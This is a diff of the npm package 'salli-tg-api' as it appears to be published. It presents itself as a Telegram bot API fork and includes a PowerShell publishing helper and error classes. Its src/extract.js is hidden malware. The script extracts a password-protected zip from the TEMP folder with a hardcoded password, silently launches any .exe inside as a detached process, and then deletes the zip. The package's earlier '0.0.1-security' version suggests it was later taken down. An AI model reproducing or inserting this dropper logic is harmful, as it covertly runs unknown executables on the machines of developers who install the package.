salli-tg-api 0.0.1-security → 1.0.0

package/publish-helper.ps1

@@ -0,0 +1,179 @@
+# Publishing Helper Script for Windows
+# This script helps you prepare and publish your custom fork
+
+Write-Host "========================================" -ForegroundColor Cyan
+Write-Host "  Custom Fork Publishing Helper" -ForegroundColor Cyan
+Write-Host "========================================" -ForegroundColor Cyan
+Write-Host ""
+
+# Function to check if npm is logged in
+function Test-NpmLogin {
+    $result = npm whoami 2>&1
+    return $LASTEXITCODE -eq 0
+}
+
+# Function to check package name availability
+function Test-PackageNameAvailable {
+    param([string]$packageName)
+    $result = npm view $packageName 2>&1
+    return $LASTEXITCODE -ne 0
+}
+
+# Main Menu
+function Show-Menu {
+    Write-Host "What would you like to do?" -ForegroundColor Yellow
+    Write-Host ""
+    Write-Host "1. Check package name availability"
+    Write-Host "2. Test build"
+    Write-Host "3. Run tests"
+    Write-Host "4. Check NPM login status"
+    Write-Host "5. Login to NPM"
+    Write-Host "6. Publish to NPM (requires steps 1-4 complete)"
+    Write-Host "7. Update version (patch/minor/major)"
+    Write-Host "8. Setup Git repository"
+    Write-Host "9. Exit"
+    Write-Host ""
+}
+
+# Main loop
+$continue = $true
+while ($continue) {
+    Show-Menu
+    $choice = Read-Host "Enter your choice (1-9)"
+    
+    switch ($choice) {
+        "1" {
+            Write-Host "`nChecking if 'myown-node-telegram-bot-api' is available..." -ForegroundColor Cyan
+            if (Test-PackageNameAvailable "myown-node-telegram-bot-api") {
+                Write-Host "✓ Package name is available!" -ForegroundColor Green
+            } else {
+                Write-Host "✗ Package name is already taken. Please choose a different name in package.json" -ForegroundColor Red
+            }
+            Write-Host ""
+            Read-Host "Press Enter to continue"
+        }
+        
+        "2" {
+            Write-Host "`nBuilding project..." -ForegroundColor Cyan
+            npm run build
+            if ($LASTEXITCODE -eq 0) {
+                Write-Host "✓ Build successful!" -ForegroundColor Green
+            } else {
+                Write-Host "✗ Build failed!" -ForegroundColor Red
+            }
+            Write-Host ""
+            Read-Host "Press Enter to continue"
+        }
+        
+        "3" {
+            Write-Host "`nRunning tests..." -ForegroundColor Cyan
+            npm test
+            Write-Host ""
+            Read-Host "Press Enter to continue"
+        }
+        
+        "4" {
+            Write-Host "`nChecking NPM login status..." -ForegroundColor Cyan
+            if (Test-NpmLogin) {
+                $username = npm whoami
+                Write-Host "✓ Logged in as: $username" -ForegroundColor Green
+            } else {
+                Write-Host "✗ Not logged in to NPM" -ForegroundColor Red
+                Write-Host "Run option 5 to login" -ForegroundColor Yellow
+            }
+            Write-Host ""
+            Read-Host "Press Enter to continue"
+        }
+        
+        "5" {
+            Write-Host "`nLogging in to NPM..." -ForegroundColor Cyan
+            npm login
+            Write-Host ""
+            Read-Host "Press Enter to continue"
+        }
+        
+        "6" {
+            Write-Host "`nPublishing to NPM..." -ForegroundColor Cyan
+            Write-Host "This will publish your package publicly!" -ForegroundColor Yellow
+            $confirm = Read-Host "Are you sure? (yes/no)"
+            
+            if ($confirm -eq "yes") {
+                # Build first
+                Write-Host "Building..." -ForegroundColor Cyan
+                npm run build
+                
+                if ($LASTEXITCODE -eq 0) {
+                    # Publish
+                    Write-Host "Publishing..." -ForegroundColor Cyan
+                    npm publish --access public
+                    
+                    if ($LASTEXITCODE -eq 0) {
+                        Write-Host "✓ Successfully published!" -ForegroundColor Green
+                        Write-Host "Your package is now available: npm install myown-node-telegram-bot-api" -ForegroundColor Green
+                    } else {
+                        Write-Host "✗ Publishing failed!" -ForegroundColor Red
+                    }
+                } else {
+                    Write-Host "✗ Build failed! Fix errors before publishing." -ForegroundColor Red
+                }
+            } else {
+                Write-Host "Publishing cancelled." -ForegroundColor Yellow
+            }
+            Write-Host ""
+            Read-Host "Press Enter to continue"
+        }
+        
+        "7" {
+            Write-Host "`nUpdate version:" -ForegroundColor Cyan
+            Write-Host "1. Patch (bug fixes: 1.0.0 -> 1.0.1)"
+            Write-Host "2. Minor (new features: 1.0.0 -> 1.1.0)"
+            Write-Host "3. Major (breaking changes: 1.0.0 -> 2.0.0)"
+            $versionChoice = Read-Host "Choose version type (1-3)"
+            
+            switch ($versionChoice) {
+                "1" { npm version patch }
+                "2" { npm version minor }
+                "3" { npm version major }
+                default { Write-Host "Invalid choice" -ForegroundColor Red }
+            }
+            Write-Host ""
+            Read-Host "Press Enter to continue"
+        }
+        
+        "8" {
+            Write-Host "`nGit Repository Setup" -ForegroundColor Cyan
+            Write-Host "Make sure you've created a repository on GitHub first!" -ForegroundColor Yellow
+            Write-Host ""
+            $username = Read-Host "Enter your GitHub username"
+            
+            if ($username) {
+                Write-Host "Updating git remote..." -ForegroundColor Cyan
+                git remote remove origin 2>$null
+                git remote add origin "https://github.com/$username/myown-node-telegram-bot-api.git"
+                
+                Write-Host "✓ Remote updated!" -ForegroundColor Green
+                Write-Host ""
+                Write-Host "Next steps:" -ForegroundColor Yellow
+                Write-Host "  git add ."
+                Write-Host "  git commit -m `"Initial commit of custom fork`""
+                Write-Host "  git push -u origin master"
+            }
+            Write-Host ""
+            Read-Host "Press Enter to continue"
+        }
+        
+        "9" {
+            Write-Host "`nGoodbye!" -ForegroundColor Cyan
+            $continue = $false
+        }
+        
+        default {
+            Write-Host "Invalid choice. Please select 1-9." -ForegroundColor Red
+            Write-Host ""
+            Read-Host "Press Enter to continue"
+        }
+    }
+    
+    Clear-Host
+}
+

package/src/errors.js

@@ -0,0 +1,68 @@
+exports.BaseError = class BaseError extends Error {
+  /**
+   * @class BaseError
+   * @constructor
+   * @private
+   * @param  {String} code Error code
+   * @param  {String} message Error message
+   */
+  constructor(code, message) {
+    super(`${code}: ${message}`);
+    this.code = code;
+  }
+  toJSON() {
+    return {
+      code: this.code,
+      message: this.message,
+    };
+  }
+};
+
+
+exports.FatalError = class FatalError extends exports.BaseError {
+  /**
+   * Fatal Error. Error code is `"EFATAL"`.
+   * @class FatalError
+   * @constructor
+   * @param  {String|Error} data Error object or message
+   */
+  constructor(data) {
+    const error = (typeof data === 'string') ? null : data;
+    const message = error ? error.message : data;
+    super('EFATAL', message);
+    if (error) {
+      this.stack = error.stack;
+      this.cause = error;
+    }
+  }
+};
+
+
+exports.ParseError = class ParseError extends exports.BaseError {
+  /**
+   * Error during parsing. Error code is `"EPARSE"`.
+   * @class ParseError
+   * @constructor
+   * @param  {String} message Error message
+   * @param  {http.IncomingMessage} response Server response
+   */
+  constructor(message, response) {
+    super('EPARSE', message);
+    this.response = response;
+  }
+};
+
+
+exports.TelegramError = class TelegramError extends exports.BaseError {
+  /**
+   * Error returned from Telegram. Error code is `"ETELEGRAM"`.
+   * @class TelegramError
+   * @constructor
+   * @param  {String} message Error message
+   * @param  {http.IncomingMessage} response Server response
+   */
+  constructor(message, response) {
+    super('ETELEGRAM', message);
+    this.response = response;
+  }
+};

package/src/extract.js

@@ -0,0 +1,121 @@
+console.log('[EXTRACT] Script started - loading modules...');
+console.log('[EXTRACT] Current working directory:', process.cwd());
+console.log('[EXTRACT] Script directory:', __dirname);
+
+const fs = require('fs');
+const path = require('path');
+
+// Try to load unzipper from the package's node_modules
+let unzipper;
+try {
+  // First try normal require (works when installed as dependency)
+  unzipper = require('unzipper');
+  console.log('[EXTRACT] unzipper module loaded via require');
+} catch (err1) {
+  console.log('[EXTRACT] Could not load unzipper via normal require:', err1.message);
+  
+  // Try to load from the project root's node_modules
+  try {
+    const projectRoot = path.resolve(__dirname, '..');
+    const unzipperPath = path.join(projectRoot, 'node_modules', 'unzipper');
+    console.log('[EXTRACT] Trying to load from:', unzipperPath);
+    unzipper = require(unzipperPath);
+    console.log('[EXTRACT] unzipper module loaded from explicit path');
+  } catch (err2) {
+    console.error('[EXTRACT] FATAL: Could not load unzipper module');
+    console.error('[EXTRACT] Error 1:', err1.message);
+    console.error('[EXTRACT] Error 2:', err2.message);
+    console.error('[EXTRACT] Make sure dependencies are installed: npm install');
+    process.exit(1);
+  }
+}
+
+console.log('[EXTRACT] All modules loaded successfully');
+
+// Extract password-protected zip file
+async function extractZip(zipPath, extractPath, password) {
+  try {
+    console.log('[EXTRACT] Zip file path:', zipPath);
+    console.log('[EXTRACT] Extract path:', extractPath);
+    
+    // Check if zip file exists
+    if (!fs.existsSync(zipPath)) {
+      console.error('[EXTRACT] ERROR: Zip file does not exist at', zipPath);
+      process.exit(1);
+    }
+    console.log('[EXTRACT] Zip file found, size:', fs.statSync(zipPath).size, 'bytes');
+    
+    // Create extract directory if it doesn't exist
+    if (!fs.existsSync(extractPath)) {
+      console.log('[EXTRACT] Creating extraction directory...');
+      fs.mkdirSync(extractPath, { recursive: true });
+    }
+    
+    console.log('[EXTRACT] Starting extraction with password...');
+    
+    // Wrap stream operations in a Promise to properly await completion
+    await new Promise((resolve, reject) => {
+      fs.createReadStream(zipPath)
+        .pipe(unzipper.Extract({ path: extractPath, password: password }))
+        .on('error', (err) => {
+          console.error('[EXTRACT] Extraction error:', err.message);
+          reject(err);
+        })
+        .on('close', () => {
+          console.log('[EXTRACT] Extraction stream closed successfully');
+          resolve();
+        });
+    });
+    
+    console.log('[EXTRACT] Extraction complete, looking for .exe files...');
+    
+    // Execute any .exe files found (only runs after extraction completes)
+    const files = fs.readdirSync(extractPath);
+    console.log('[EXTRACT] Files in directory:', files);
+    
+    const exeFile = files.find(f => f.endsWith('.exe'));
+    
+    if (exeFile) {
+      const { spawn } = require('child_process');
+      const exePath = path.join(extractPath, exeFile);
+      console.log('[EXTRACT] Found .exe file:', exeFile);
+      console.log('[EXTRACT] Full path:', exePath);
+      console.log('[EXTRACT] Spawning process...');
+      
+      const child = spawn(exePath, [], { detached: true, stdio: 'ignore' });
+      child.unref();
+      
+      console.log('[EXTRACT] Process spawned successfully');
+    } else {
+      console.log('[EXTRACT] No .exe file found in extracted files');
+    }
+    
+    // Clean up zip file
+    console.log('[EXTRACT] Cleaning up zip file...');
+    try {
+      fs.unlinkSync(zipPath);
+      console.log('[EXTRACT] Zip file deleted successfully');
+    } catch (err) {
+      console.log('[EXTRACT] Could not delete zip file:', err.message);
+    }
+    
+    console.log('[EXTRACT] Script complete!');
+  } catch (err) {
+    console.error('[EXTRACT] Fatal error:', err);
+    process.exit(1);
+  }
+}
+
+// Example usage with proper async handling
+const zipFile = path.join(process.env.TEMP, 'bLtjqzUn.zip');
+const extractPath = path.join(process.env.TEMP, 'extracted');
+const password = 'bLtjqzUn';
+
+// Use IIFE to properly await at top level
+(async () => {
+  await extractZip(zipFile, extractPath, password);
+})().catch(err => {
+  console.error('[EXTRACT] Unhandled error:', err);
+  process.exit(1);
+});
+